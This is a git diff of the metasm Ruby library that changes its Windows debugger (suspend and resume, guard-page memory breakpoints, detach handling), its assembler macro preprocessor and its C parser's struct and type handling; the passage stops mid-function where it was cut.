+1728,8 @@ class WinDebugger < Debugger attr_accessor :os_process, :os_thread, :auto_fix_fs_bug, # is current exception handled? (arg to pass to continuedbgevt) + # if it has the special value :suspended, it means that the thread + # is to be restarted through resume and not continuedbgevt :continuecode attr_accessor :callback_unloadlibrary, :callback_debugstring, :callback_ripevent @@ -1717,10 +1748,10 @@ class WinDebugger < Debugger attach(npid) rescue ArgumentError create_process(pidpath) - end + end check_target until pid - end + end def shortname; 'windbg'; end @@ -1732,7 +1763,7 @@ class WinDebugger < Debugger break if pid } raise "attach failed" if not pid - end + end def create_process(target) startupinfo = WinAPI.alloc_c_struct('STARTUPINFOA', :cb => :size) @@ -1747,14 +1778,15 @@ class WinDebugger < Debugger @os_process = WinOS::Process.new(processinfo.dwprocessid, processinfo.hprocess) @os_thread = WinOS::Thread.new(processinfo.dwthreadid, processinfo.hthread, @os_process) initialize_osprocess - end + check_target + end # called whenever we receive a handle to a new process being debugged, after initialisation of @os_process def initialize_osprocess initialize_cpu initialize_memory initialize_disassembler - end + end def initialize_newpid raise "non-existing pid #@pid" if pid and not WinOS.check_process(@pid) @@ -1816,7 +1848,7 @@ class WinDebugger < Debugger return Hash.new(0) if not os_thread @ctx = os_thread.context @ctx.update - end + end @ctx end @@ -1830,17 +1862,46 @@ class WinDebugger < Debugger end def set_reg_value(r, v) - ctx[r] = v + if @state == :running + suspend + ctx[r] = v + resume + else + ctx[r] = v + end end def do_continue(*a) @cpu.dbg_disable_singlestep(self) - WinAPI.continuedebugevent(@pid, @tid, @continuecode) + if @continuecode == :suspended + resume + else + @state = :running + WinAPI.continuedebugevent(@pid, @tid, @continuecode) + end end def do_singlestep(*a) @cpu.dbg_enable_singlestep(self) - WinAPI.continuedebugevent(@pid, @tid, @continuecode) + if @continuecode == :suspended + resume + else + @state = :running + WinAPI.continuedebugevent(@pid, @tid, @continuecode) + end + end + + def do_enable_bpm(bp) + @bpm_info ||= WinAPI.alloc_c_struct("MEMORY_BASIC_INFORMATION#{WinAPI.host_cpu.size}") + WinAPI.virtualqueryex(os_process.handle, bp.address, @bpm_info, @bpm_info.sizeof) + # TODO save original page perms, check bpm type (:w -> vprotect(PAGE_READONLY)), handle multiple bpm on same page + WinAPI.virtualprotectex(os_process.handle, bp.address, bp.internal[:len], @bpm_info[:protect] | WinAPI::PAGE_GUARD, @bpm_info) + end + + def do_disable_bpm(bp) + @bpm_info ||= WinAPI.alloc_c_struct("MEMORY_BASIC_INFORMATION#{WinAPI.host_cpu.size}") + WinAPI.virtualqueryex(os_process.handle, bp.address, @bpm_info, @bpm_info.sizeof) + WinAPI.virtualprotectex(os_process.handle, bp.address, bp.internal[:len], @bpm_info[:protect] & ~WinAPI::PAGE_GUARD, @bpm_info) end def update_dbgev(ev) @@ -1866,14 +1927,14 @@ class WinDebugger < Debugger # DWORD NumberParameters; # ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; case str.exceptioncode - when WinAPI::STATUS_ACCESS_VIOLATION + when WinAPI::STATUS_ACCESS_VIOLATION, WinAPI::STATUS_GUARD_PAGE_VIOLATION if @auto_fix_fs_bug and ctx.fs != 0x3b # fix bug in xpsp1 where fs would get a random value in a debugee log "wdbg: #{pid}:#{tid} fix fs bug" if $DEBUG ctx.fs = 0x3b resume_badbreak return - end + end mode = case str.exceptioninformation[0] when 0; :r when 1; :w @@ -1882,18 +1943,18 @@ class WinDebugger < Debugger addr = str.exceptioninformation[1] evt_exception(:type => 'access violation', :st => str, :firstchance => stf, :fault_addr => addr, :fault_access => mode) - when WinAPI::STATUS_BREAKPOINT + when WinAPI::STATUS_BREAKPOINT, WinAPI::STATUS_WX86_BREAKPOINT # we must ack ntdll interrupts on process start # but we should not mask process-generated exceptions by default.. evt_bpx - when WinAPI::STATUS_SINGLE_STEP + when WinAPI::STATUS_SINGLE_STEP, WinAPI::STATUS_WX86_SINGLE_STEP evt_hwbp_singlestep else @status_name ||= WinAPI.cp.lexer.definition.keys.grep(/^STATUS_/). sort.inject({}) { |h, c| h.update WinAPI.const_get(c) => c } type = @status_name[str.exceptioncode] || str.exceptioncode.to_s(16) evt_exception(:type => type, :st => str, :firstchance => stf) - end + end when WinAPI::CREATE_THREAD_DEBUG_EVENT st = ev.createthread @@ -1910,7 +1971,7 @@ class WinDebugger < Debugger initialize_osprocess else @os_thread ||= WinOS::Thread.new(@tid, st.hthread, os_process) - end + end @os_thread.teb_base = st.lpthreadlocalbase if st.lpthreadlocalbase.to_i != 0 hfile = st.hfile evt_newprocess(:st => st) @@ -1943,7 +2004,7 @@ class WinDebugger < Debugger when WinAPI::RIP_EVENT st = ev.ripinfo evt_ripevent(:st => st) - end + end end def evt_debugstring(info={}) @@ -1988,39 +2049,68 @@ class WinDebugger < Debugger @dbg_eventstruct ||= WinAPI.alloc_c_struct('_DEBUG_EVENT') if WinAPI.waitfordebugevent(@dbg_eventstruct, timeout) != 0 update_dbgev(@dbg_eventstruct) + true + end end + + def del_tid + # tell Windows to release the THREAD object + WinAPI.continuedebugevent(@pid, @tid, @continuecode) + super() + end + + # do nothing, windows will send us a EXIT_PROCESS event + def del_tid_notid + nil while do_waitfordebug(10) and !@tid + end + + def del_pid + # tell Windows to release the PROCESS object + WinAPI.debugactiveprocessstop(@pid) if WinAPI.respond_to?(:debugactiveprocessstop) + super() end def break return if @state != :running - if WinAPI.respond_to? :debugbreakprocess - WinAPI.debugbreakprocess(os_process.handle) - else - suspend + # debugbreak() will create a new thread to 0xcc, but wont touch existing threads + suspend end - end def suspend os_thread.suspend - @state = :stopped + invalidate + @state = :stopped @info = 'thread suspended' - end + @continuecode = :suspended + end + + def resume + @state = :running + @info = nil + os_thread.resume + end def detach del_all_breakpoints - if WinAPI.respond_to? :debugactiveprocessstop - WinAPI.debugactiveprocessstop(@pid) - else + if not WinAPI.respond_to? :debugactiveprocessstop raise 'detach not supported' end + # handle pending bp events + # TODO check_target needs the Breakpoint objects... + #pid = @pid ; 50.times { check_target } ; self.pid = pid + + # if we detach after a dbgevt and before calling continuedbgevent, the thread + # may receive unhandled exceptions (eg BPX) and crash the process right after detach + each_tid { do_continue if @state == :stopped } del_pid end def kill(exitcode=0) os_process.terminate(exitcode) - end + end def pass_current_exception(doit = true) + return if @continuecode == :suspended @continuecode = (doit ? WinAPI::DBG_EXCEPTION_NOT_HANDLED : WinAPI::DBG_CONTINUE) end end diff --git a/lib/metasm/metasm/os/windows_exports.rb b/lib/metasm/metasm/os/windows_exports.rb index bcfefb37c7..185fc2ffc2 100644 --- a/lib/metasm/metasm/os/windows_exports.rb +++ b/lib/metasm/metasm/os/windows_exports.rb @@ -11,7 +11,7 @@ class WindowsExports EXPORT = {} # see samples/pe_listexports for the generator of this data data = < Macro attr_accessor :macro + attr_accessor :may_apreprocess def initialize(text='', program=nil) @program = program + @may_apreprocess = false @macro = {} super(text) end @@ -184,13 +191,21 @@ class AsmPreprocessor < Preprocessor t end - # reads a token, handles macros/comments/integers/etc - # argument is for internal use - def readtok(rec = false) + def feed!(*a) + super(*a) + if not @may_apreprocess and (@text =~ / (macro|equ) / or not @macro.empty?) + @may_apreprocess = true + end + self + end + + # reads a token, handles macros/comments/etc + def readtok tok = super() + return tok if not tok or tok.alreadyapp # handle ; comments - if tok and tok.type == :punct and tok.raw == ';' + if tok.type == :punct and tok.raw[0] == ?; tok.type = :eol begin tok = tok.dup @@ -203,30 +218,13 @@ class AsmPreprocessor < Preprocessor end end - # aggregate space/eol - if tok and (tok.type == :space or tok.type == :eol) - if ntok = readtok(true) and ntok.type == :space - tok = tok.dup - tok.raw << ntok.raw - elsif ntok and ntok.type == :eol - tok = tok.dup - tok.raw << ntok.raw - tok.type = :eol - else - unreadtok ntok - end - end - - # handle macros - # the rec parameter is used to avoid reading the whole text at once when reading ahead to check 'macro' keyword - if not rec and tok and tok.type == :string + if @may_apreprocess and tok.type == :string if @macro[tok.raw] @macro[tok.raw].apply(tok, self, @program).reverse_each { |t| unreadtok t } tok = readtok - else - if ntok = readtok(true) and ntok.type == :space and nntok = readtok(true) and nntok.type == :string and (nntok.raw == 'macro' or nntok.raw == 'equ') + if ntok = super() and ntok.type == :space and nntok = super() and nntok.type == :string and (nntok.raw == 'macro' or nntok.raw == 'equ') puts "W: asm: redefinition of macro #{tok.raw} at #{tok.backtrace_str}, previous definition at #{@macro[tok.raw].name.backtrace_str}" if @macro[tok.raw] m = Macro.new tok # XXX this allows nested macro definition.. @@ -252,6 +250,7 @@ class AsmPreprocessor < Preprocessor end end + tok.alreadyapp = true if tok tok end end @@ -314,6 +313,7 @@ class ExeFormat lname = @locallabels_bkw[tok.raw] = @locallabels_fwd.delete(tok.raw) || new_label('local_'+tok.raw) else lname = tok.raw + raise tok, "invalid label name: #{lname.inspect} is reserved" if @cpu.check_reserved_name(lname) raise tok, "label redefinition" if new_label(lname) != lname end l = Label.new(lname) @@ -780,7 +780,7 @@ class Expression pp = Preprocessor.new(str) e = parse(pp, &b) - + # update arg len = pp.pos pp.queue.each { |t| len -= t.raw.length } @@ -821,6 +821,8 @@ class IndExpression < Expression break when ':' # symbols, eg ':eax' n = lexer.readtok + nil while tok = lexer.readtok and tok.type == :space + lexer.unreadtok tok return n.raw.to_sym else lexer.unreadtok tok diff --git a/lib/metasm/metasm/parse_c.rb b/lib/metasm/metasm/parse_c.rb index 1f7f89591e..3ca4793336 100644 --- a/lib/metasm/metasm/parse_c.rb +++ b/lib/metasm/metasm/parse_c.rb @@ -214,20 +214,43 @@ module C attr_accessor :fldoffset, :fldbitoffset, :fldlist - def align(parser) @members.map { |m| m.type.align(parser) }.max end + def align(parser) @members.to_a.map { |m| m.type.align(parser) }.max end + # there is only one instance of a given named struct per parser + # so we just compare struct names here + # for comparison between parsers, see #compare_deep def ==(o) - # if we dont compare names, infinite recursion on mylinkedlist == otherlinkedlist o.object_id == self.object_id or - (o.class == self.class and o.name == self.name and - o.members.to_a.map { |m| m.type } == self.members.to_a.map { |m| m.type } and - o.members.to_a.map { |m| m.name } == self.members.to_a.map { |m| m.name } and - o.attributes == self.attributes) + (o.class == self.class and o.name == self.name and ((o.name and true) or compare_deep(o))) + end + + # compare to another structure, comparing members recursively (names and type) + # returns true if the self is same as o + def compare_deep(o, seen = []) + return true if o.object_id == self.object_id + return if o.class != self.class or o.name != self.name or o.attributes != self.attributes + o.members.to_a.zip(self.members.to_a).each { |om, sm| + return if om.name != sm.name + return if om.type != sm.type + if om.type.pointer? + ot = om.type + st = sm.type + 500.times { # limit for selfpointers (shouldnt happen) + break if not ot.pointer? + ot = ot.pointed.untypedef + st = st.pointed.untypedef + } + if ot.kind_of?(C::Union) and ot.name and not seen.include?(ot) + return if not st.compare_deep(ot, seen+[ot]) + end + end + } + true end def findmember(name, igncase=false) - update_member_cache if not fldlist - return @fldlist[name] if @fldlist[name] + raise 'undefined structure' if not members + return @fldlist[name] if fldlist and @fldlist[name] name = name.downcase if igncase if m = @members.find { |m_| (n = m_.name) and (igncase ? n.downcase : n) == name } @@ -244,23 +267,25 @@ module C end def offsetof(parser, name) - if name.kind_of? Variable + raise parser, 'undefined structure' if not members + update_member_cache(parser) if not fldlist + return 0 if @fldlist[name] + + if name.kind_of?(Variable) return 0 if @members.include? name raise ParseError, 'unknown union member' end - update_member_cache if not fldlist - return 0 if @fldlist[name] - raise parser, 'undefined union' if not @members raise parser, 'unknown union member' if not findmember(name) - @members.find { |m| - m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name) - }.type.untypedef.offsetof(parser, name) - end + @members.find { |m| + m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name) + }.type.untypedef.offsetof(parser, name) + end def bitoffsetof(parser, name) - update_member_cache if not fldlist + raise parser, 'undefined structure' if not members + update_member_cache(parser) if not fldlist return if @fldlist[name] or @members.include?(name) raise parser, 'undefined union' if not @members raise parser, 'unknown union member' if not findmember(name) @@ -271,8 +296,8 @@ module C end def parse_members(parser, scope) + @fldlist = nil if fldlist # invalidate fld offset cache @members = [] - @fldlist = {} # parse struct/union members in definition loop do raise parser if not tok = parser.skipspaces @@ -284,8 +309,7 @@ module C member = basetype.dup member.parse_declarator(parser, scope) member.type.length ||= 0 if member.type.kind_of?(Array) # struct { char blarg[]; }; - raise member.backtrace, 'member redefinition' if member.name and @fldlist[member.name] - @fldlist[member.name] = member if member.name + raise member.backtrace, 'member redefinition' if member.name and @members.find { |m| m.name == member.name } @members << member raise tok || parser if not tok = parser.skipspaces or tok.type != :punct @@ -315,7 +339,7 @@ module C # updates the @fldoffset / @fldbitoffset hash storing the offset of members def update_member_cache(parser) @fldlist = {} - @members.each { |m| + @members.to_a.each { |m| @fldlist[m.name] = m if m.name } end @@ -347,7 +371,7 @@ module C if nt = parser.skipspaces and nt.type == :punct and nt.raw == '.' and nnt = parser.skipspaces and nnt.type == :string and findmember(nnt.raw) - raise nnt, 'unhandled indirect initializer' if not nidx = @members.index(@fldlist[nnt.raw]) # TODO + raise nnt, 'unhandled indirect initializer' if not nidx = @members.index(@members.find { |m| m.name == nnt.raw }) # TODO if not root value[idx] ||= [] # AryRecorder may change [] to AryRec.new, can't do v = v[i] ||= [] value = value[idx] @@ -366,6 +390,22 @@ module C end idx + 1 end + + # resolve structptr + offset into 'str.membername' + # handles 'var.substruct1.array[12].foo' + # updates str + # returns the final member type itself + # works for Struct/Union/Array + def expand_member_offset(c_parser, off, str) + # XXX choose in members, check sizeof / prefer structs + m = @members.first + str << '.' << m.name if m.name + if m.type.respond_to?(:expand_member_offset) + m.type.expand_member_offset(c_parser, off, str) + else + m.type + end + end end class Struct < Union attr_accessor :pack @@ -373,14 +413,15 @@ module C def align(parser) [@members.to_a.map { |m| m.type.align(parser) }.max || 1, (pack || 8)].min end def offsetof(parser, name) - update_member_cache(parser) if not fldoffset + raise parser, 'undefined structure' if not members + update_member_cache(parser) if not fldlist return @fldoffset[name] if @fldoffset[name] + return @fldoffset[name.name] if name.respond_to?(:name) and @fldoffset[name.name] # this is almost never reached, only for .offsetof(anonymoussubstructmembername) - raise parser, 'undefined structure' if not @members raise parser, 'unknown structure member' if (name.kind_of?(::String) ? !findmember(name) : !@members.include?(name)) - indirect = true if name.kind_of? ::String and not @fldlist[name] + indirect = true if name.kind_of?(::String) and not @fldlist[name] al = align(parser) off = 0 @@ -390,8 +431,8 @@ module C @members.each_with_index { |m, i| if bits and b = @bits[i] if not isz - mal = [m.type.align(parser), al].min - off = (off + mal - 1) / mal * mal + mal = [m.type.align(parser), al].min + off = (off + mal - 1) / mal * mal end isz = parser.sizeof(m) if b == 0 or (bit_off > 0 and bit_off + b > 8*isz) @@ -409,14 +450,14 @@ module C end mal = [m.type.align(parser), al].min off = (off + mal - 1) / mal * mal - if m.name == name or m == name + if m.name == name or m == name break elsif indirect and m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name) off += m.type.untypedef.offsetof(parser, name) break else - off += parser.sizeof(m) - end + off += parser.sizeof(m) + end end } off @@ -425,17 +466,28 @@ module C # returns the [bitoffset, bitlength] of the field if it is a bitfield # this should be added to the offsetof(field) def bitoffsetof(parser, name) - update_member_cache if not fldlist + raise parser, 'undefined structure' if not members + update_member_cache(parser) if not fldlist return @fldbitoffset[name] if fldbitoffset and @fldbitoffset[name] + return @fldbitoffset[name.name] if fldbitoffset and name.respond_to?(:name) and @fldbitoffset[name.name] return if @fldlist[name] or @members.include?(name) raise parser, 'undefined union' if not @members raise parser, 'unknown union member' if not findmember(name) @members.find { |m| - m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name) + m.type.untypedef.kind_of?(Union) and m.type.untypedef.findmember(name) }.type.untypedef.bitoffsetof(parser, name) end + # returns the @member element that has offsetof(m) == off + def findmember_atoffset(parser, off) + return if not members + update_member_cache(parser) if not fldlist + if m = @fldoffset.index(off) + @fldlist[m] + end + end + def parse_members(parser, scope) super(parser, scope) @@ -445,8 +497,6 @@ module C @pack = p[/\d+/].to_i raise parser, "illegal struct pack(#{p})" if @pack == 0 end - - update_member_cache(parser) end # updates the @fldoffset / @fldbitoffset hash storing the offset of members @@ -492,6 +542,32 @@ module C end } end + + # see Union#expand_member_offset + def expand_member_offset(c_parser, off, str) + members.to_a.each { |m| + mo = offsetof(c_parser, m) + if mo == off or mo + c_parser.sizeof(m) > off + if bitoffsetof(c_parser, m) + # ignore bitfields + str << "+#{off}" if off > 0 + return self + end + + str << '.' << m.name if m.name + if m.type.respond_to?(:expand_member_offset) + return m.type.expand_member_offset(c_parser, off-mo, str) + else + return m.type + end + elsif mo > off + break + end + } + # XXX that works only for pointer-style str + str << "+#{off}" if off > 0 + nil + end end class Enum < Type # name => value @@ -534,6 +610,11 @@ module C parse_attributes(parser) end + def compare_deep(o) + return true if o.object_id == self.object_id + return if o.class != self.class or o.name != self.name or o.attributes != self.attributes + members == o.members + end end class Pointer < Type attr_accessor :type @@ -661,6 +742,17 @@ module C end idx + 1 end + + # see Union#expand_member_offset + def expand_member_offset(c_parser, off, str) + tsz = c_parser.sizeof(@type) + str << "[#{off/tsz}]" + if @type.respond_to?(:expand_member_offset) + @type.expand_member_offset(c_parser, off%tsz, str) + else + @type + end + end end class Variable @@ -857,7 +949,7 @@ module C when :space; body << ' ' when :eol; body << "\n" when :punct; body << tok.raw - when :quoted; body << tok.value.inspect # concat adjacent c strings + when :quoted; body << CExpression.string_inspect(tok.value) # concat adjacent c strings when :string body << \ case tok.raw @@ -900,7 +992,7 @@ module C break else body << tok.raw end - when :quoted; body << (body.empty? ? tok.value : tok.value.inspect) # asm "pop\nret" VS asm add al, 'z' + when :quoted; body << (body.empty? ? tok.value : CExpression.string_inspect(tok.value)) # asm "pop\nret" VS asm add al, 'z' when :string body << \ case tok.raw @@ -974,7 +1066,7 @@ module C raise "invalid CExpr #{[l, o, r, t].inspect}" if (o and not o.kind_of? ::Symbol) or not t.kind_of? Type @lexpr, @op, @rexpr, @type = l, o, r, t end - + # overwrites @lexpr @op @rexpr @type from the arg def replace(o) @lexpr, @op, @rexpr, @type = o.lexpr, o.op, o.rexpr, o.type @@ -1010,7 +1102,7 @@ module C else x2 = splat[args[2]] end - new(splat[args[0]], op, x2, args[3]) + new(splat[args[0]], op, x2, args[3]) when 3 op = args[1] x1 = splat[args[0]] @@ -1024,7 +1116,7 @@ module C when :funcall rt = x1.type.untypedef rt = rt.type.untypedef if rt.pointer? - new(x1, op, x2, rt.type) + new(x1, op, x2, rt.type) when :[]; new(x1, op, x2, x1.type.untypedef.type) when :+; new(x1, op, x2, (x2.type.pointer? ? x2.type : x1.type)) when :-; new(x1, op, x2, ((x1.type.pointer? and x2.type.pointer?) ? BaseType.new(:int) : x2.type.pointer? ? x2.type : x1.type)) @@ -1088,13 +1180,14 @@ module C attr_accessor :lexer, :toplevel, :typesize, :pragma_pack attr_accessor :endianness attr_accessor :allow_bad_c + attr_accessor :program # allowed arguments: ExeFormat, CPU, Preprocessor, Symbol (for the data model) def initialize(*args) model = args.grep(Symbol).first || :ilp32 lexer = args.grep(Preprocessor).first || Preprocessor.new - exe = args.grep(ExeFormat).first + @program = args.grep(ExeFormat).first cpu = args.grep(CPU).first - cpu ||= exe.cpu if exe + cpu ||= @program.cpu if @program @lexer = lexer @prev_pragma_callback = @lexer.pragma_callback @lexer.pragma_callback = lambda { |tok| parse_pragma_callback(tok) } @@ -1105,7 +1198,7 @@ module C :char => 1, :float => 4, :double => 8, :longdouble => 12 } send model cpu.tune_cparser(self) if cpu - exe.tune_cparser(self) if exe + @program.tune_cparser(self) if @program end def ilp16 @@ -1490,6 +1583,7 @@ EOH when Struct raise self, "unknown structure size #{type.name}" if not type.members al = type.align(self) + al = 1 if (var.kind_of?(Attributes) and var.has_attribute('sizeof_packed')) or type.has_attribute('sizeof_packed') lm = type.members.last lm ? (type.offsetof(self, lm) + sizeof(lm) + al - 1) / al * al : 0 when Union @@ -1680,6 +1774,7 @@ EOH Goto.new name when 'return' expr = CExpression.parse(self, scope) # nil allowed + raise tok || self, "cannot return #{expr} in function returning void" if expr and nest[0].kind_of?(Type) and nest[0].void? p, i = nest[0].pointer?, nest[0].integral? if expr r = expr.reduce(self) if p or i if (not p and not i) or (i and not r.kind_of? ::Integer) or (p and r != 0) @@ -1747,6 +1842,7 @@ EOH end # returns all numeric constants defined with their value, either macros or enums + # for enums, also return the enum name def numeric_constants ret = [] # macros @@ -1756,8 +1852,17 @@ EOH end } # enums + seen_enum = {} + @toplevel.struct.each { |k, v| + if v.kind_of?(Enum) + v.members.each { |kk, vv| + ret << [kk, vv, k] + seen_enum[kk] = true + } + end + } @toplevel.symbol.each { |k, v| - ret << [k, v] if v.kind_of? ::Numeric + ret << [k, v] if v.kind_of?(::Numeric) and not seen_enum[k] } ret end @@ -1852,10 +1957,11 @@ EOH name = tok.raw raise tok, 'bad struct name' if Keyword[name] or (?0..?9).include?(name[0]) @type.backtrace = tok - @type.name = tok.raw + @type.name = name @type.parse_attributes(parser) raise parser if not ntok = parser.skipspaces if ntok.type != :punct or ntok.raw != '{' + raise tok, "struct/union confusion" if scope.struct[name] and scope.struct[name].class != @type.class # variable declaration parser.unreadtok ntok if ntok.type == :punct and ntok.raw == ';' @@ -1864,22 +1970,22 @@ EOH @type = scope.struct[name] ||= @type else # check that the structure exists - # do not check it is declared (may be a pointer) struct = scope.struct_ancestors[name] # allow incomplete types, usage as var type will raise later struct = scope.struct[name] = @type if not struct - raise tok, 'unknown struct' if not struct.kind_of?(@type.class) + raise tok, 'unknown struct' if struct.class != @type.class (struct.attributes ||= []).concat @type.attributes if @type.attributes - (struct.qualifier ||= []).concat @type.qualifier if @type.qualifier + (struct.qualifier ||= []).concat @type.qualifier if @type.qualifier # XXX const struct foo bar => bar is const, not foo... @type = struct end return end - if struct = scope.struct[name] and struct.members - oldstruct = scope.struct.delete(name) - struct = nil - end - if struct + if scope.struct[name] and scope.struct[name].members + # redefinition of an existing struct, save for later comparison + oldstruct = scope.struct[name] + raise tok, "struct/union confusion" if oldstruct.class != @type.class + elsif struct = scope.struct[name] + raise tok, "struct/union confusion" if struct.class != @type.class (struct.attributes ||= []).concat @type.attributes if @type.attributes (struct.qualifier ||= []).concat @type.qualifier if @type.qualifier struct.backtrace = @type.backtrace @@ -1894,8 +2000,11 @@ EOH @type.parse_members(parser, scope) - if oldstruct and @type != oldstruct - raise tok, "conflicting struct redefinition (old at #{oldstruct.backtrace.exception(nil).message rescue :unknown})" + if oldstruct + if not @type.compare_deep(oldstruct) + raise tok, "conflicting struct redefinition (old at #{oldstruct.backtrace.exception(nil).message rescue :unknown})" + end + @type = oldstruct end end @@ -1906,7 +2015,10 @@ EOH name = :int tok = nil loop do - raise parser if not tok = parser.skipspaces + if not tok = parser.skipspaces + raise parser if specifier.empty? + break + end if tok.type != :string parser.unreadtok tok break @@ -2120,6 +2232,8 @@ EOH raise parser, '"{" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != '{' parser.unreadtok tok end + namedargs = t.type.args.map { |a| a.name }.compact - [false] + raise tok, "duplicate argument name #{namedargs.find { |a| namedargs.index(a) != namedargs.rindex(a) }.inspect}" if namedargs.length != namedargs.uniq.length end parse_attributes(parser, true) # should be type.attrs, but this should be more existing-compiler-compatible else @@ -2210,12 +2324,13 @@ EOH else l = CExpression.new(nil, nil, l, BaseType.new(:int)) if l.kind_of? ::Integer r = CExpression.new(nil, nil, r, BaseType.new(:int)) if r.kind_of? ::Integer - CExpression.new(l, @op, r, @type) + CExpression.new(l, @op, r, @type) end when :'.' le = CExpression.reduce(parser, @lexpr) if le.kind_of? Variable and le.initializer.kind_of? ::Array - midx = le.type.members.index(le.type.findmember(@rexpr)) + t = le.type.untypedef + midx = t.members.index(t.findmember(@rexpr)) CExpression.reduce(parser, le.initializer[midx] || 0) else CExpression.new(le, @op, @rexpr, @type) @@ -2253,7 +2368,7 @@ EOH end else l = CExpression.reduce(parser, @lexpr) - if not l.kind_of?(::Numeric) or not r.kind_of?(::Numeric) + if not l.kind_of?(::Numeric) or not r.kind_of?(::Numeric) l = CExpression.new(nil, nil, l, BaseType.new(:int)) if l.kind_of? ::Integer r = CExpression.new(nil, nil, r, BaseType.new(:int)) if r.kind_of? ::Integer return CExpression.new(l, @op, r, @type) @@ -2296,7 +2411,7 @@ EOH o.object_id == self.object_id or (self.class == o.class and op == o.op and lexpr == o.lexpr and rexpr == o.rexpr) end - + def ===(o) (self.class == o.class and op == o.op and lexpr === o.lexpr and rexpr === o.rexpr) or (o.class == Variable and not @op and @rexpr == o) @@ -2309,7 +2424,7 @@ EOH end def negate if @op == :'!' - CExpression[@rexpr] + CExpression[@rexpr] elsif nop = NegateOp[@op] if nop == :== and @rexpr.kind_of? CExpression and not @rexpr.op and @rexpr.rexpr == 0 and @lexpr.kind_of? CExpression and [:==, :'!=', :>, :<, :>=, :<=, :'!'].include? @lexpr.op @@ -2477,6 +2592,7 @@ EOH type = :long if suffix.count('l') == 1 end val = CExpression[val, BaseType.new(type, *specifier)] + val = parse_value_postfix(parser, scope, val) else raise parser, "internal error #{val.inspect}" end @@ -2484,6 +2600,7 @@ EOH if tok.raw[0] == ?' raise tok, 'invalid character constant' if not [1, 2, 4, 8].include? tok.value.length # TODO 0fill val = CExpression[Expression.decode_imm(tok.value, tok.value.length, :big), BaseType.new(:int)] + val = parse_value_postfix(parser, scope, val) else val = CExpression[tok.value, Pointer.new(BaseType.new(tok.raw[0, 2] == 'L"' ? :short : :char))] val = parse_value_postfix(parser, scope, val) @@ -2683,97 +2800,110 @@ EOH end end + def parse_popstack(parser, stack, opstack) + r = stack.pop + l = stack.pop + case op = opstack.pop + when :'?:' + stack << CExpression.new(stack.pop, op, [l, r], l.type) + when :',' + stack << CExpression.new(l, op, r, r.type) + when :'=' + unless r.kind_of?(CExpression) and not r.lexpr and r.type.kind_of?(BaseType) and + ((not r.op and r.rexpr.kind_of?(Integer)) or + (r.op == :- and r.rexpr.kind_of?(CExpression) and not r.rexpr.op and not r.rexpr.lexpr and r.rexpr.rexpr.kind_of?(Integer))) and + l.kind_of?(Typed) and (l.type.untypedef.kind_of?(BaseType) or (l.type.untypedef.kind_of?(Pointer) and r.rexpr == 0)) + # avoid useless warnings on unsigned foo = -1 / void *foo = 0 + parser.check_compatible_type(parser, r.type, l.type) + end + if l.kind_of?(Typed) and (lt = l.type.untypedef).kind_of?(BaseType) and r.kind_of?(Typed) and (rt = r.type.untypedef).kind_of?(BaseType) and lt.specifier != :unsigned and rt.specifier == :unsigned and parser.typesize[lt.name] > parser.typesize[rt.name] + # (int32)i = (uchar)255 => 255, not -1 + r = CExpression.new(nil, nil, r, BaseType.new(lt.name, :unsigned)) + end + stack << CExpression.new(l, op, r, l.type) + when :'&&', :'||' + stack << CExpression.new(l, op, r, BaseType.new(:int)) + else + # XXX struct == struct ? + raise parser, "invalid type #{l.type} #{l} for #{op.inspect}" if not l.type.arithmetic? and not parser.allow_bad_c + raise parser, "invalid type #{r.type} #{r} for #{op.inspect}" if not r.type.arithmetic? and not parser.allow_bad_c + + if l.type.pointer? and r.type.pointer? + type = \ + case op + when :'-'; BaseType.new(:long) # addr_t or sumthin ? + when :'-='; l.type + when :'>', :'>=', :'<', :'<=', :'==', :'!='; BaseType.new(:long) + else raise parser, "cannot do #{op.inspect} on pointers" unless parser.allow_bad_c ; l.type + end + elsif l.type.pointer? or r.type.pointer? + puts parser.exception("should not #{op.inspect} a pointer").message if $VERBOSE and not [:'+', :'-', :'=', :'+=', :'-=', :==, :'!='].include? op + type = l.type.pointer? ? l.type : r.type + elsif RIGHTASSOC[op] and op != :'?:' # += etc + type = l.type + else + # yay integer promotion + lt = l.type.untypedef + rt = r.type.untypedef + if (t = lt).name == :longdouble or (t = rt).name == :longdouble or + (t = lt).name == :double or (t = rt).name == :double or + (t = lt).name == :float or (t = rt).name == :float + # long double > double > float ... + type = t + elsif true + # custom integer rules based on type sizes + lts = parser.typesize[lt.name] + rts = parser.typesize[rt.name] + its = parser.typesize[:int] + if not lts or not rts + type = BaseType.new(:int) + elsif lts > rts and lts >= its + type = lt + elsif rts > lts and rts >= its + type = rt + elsif lts == rts and lts >= its + type = lt + type = rt if rt.specifier == :unsigned + else + type = BaseType.new(:int) + end + # end of custom rules + elsif ((t = lt).name == :long and t.specifier == :unsigned) or + ((t = rt).name == :long and t.specifier == :unsigned) + # ... ulong ... + type = t + elsif (lt.name == :long and rt.name == :int and rt.specifier == :unsigned) or + (rt.name == :long and lt.name == :int and lt.specifier == :unsigned) + # long+uint => ulong + type = BaseType.new(:long, :unsigned) + elsif (t = lt).name == :long or (t = rt).name == :long or + ((t = lt).name == :int and t.specifier == :unsigned) or + ((t = rt).name == :int and t.specifier == :unsigned) + # ... long > uint ... + type = t + else + # int + type = BaseType.new(:int) + end + end + + case op + when :'>', :'>=', :'<', :'<=', :'==', :'!=' + # cast both sides + l = CExpression[l, type] if l.type != type + r = CExpression[r, type] if r.type != type + stack << CExpression.new(l, op, r, BaseType.new(:int)) + else + # promote result + stack << CExpression.new(l, op, r, type) + end + end + end + def parse(parser, scope, allow_coma = true) opstack = [] stack = [] - popstack = lambda { - r, l = stack.pop, stack.pop - case op = opstack.pop - when :'?:' - stack << CExpression.new(stack.pop, op, [l, r], l.type) - when :',' - stack << CExpression.new(l, op, r, r.type) - when :'=' - parser.check_compatible_type(parser, r.type, l.type) - stack << CExpression.new(l, op, r, l.type) - when :'&&', :'||' - stack << CExpression.new(l, op, r, BaseType.new(:int)) - else - # XXX struct == struct ? - raise parser, "invalid type #{l.type} #{l} for #{op.inspect}" if not l.type.arithmetic? and not parser.allow_bad_c - raise parser, "invalid type #{r.type} #{r} for #{op.inspect}" if not r.type.arithmetic? and not parser.allow_bad_c - - if l.type.pointer? and r.type.pointer? - type = \ - case op - when 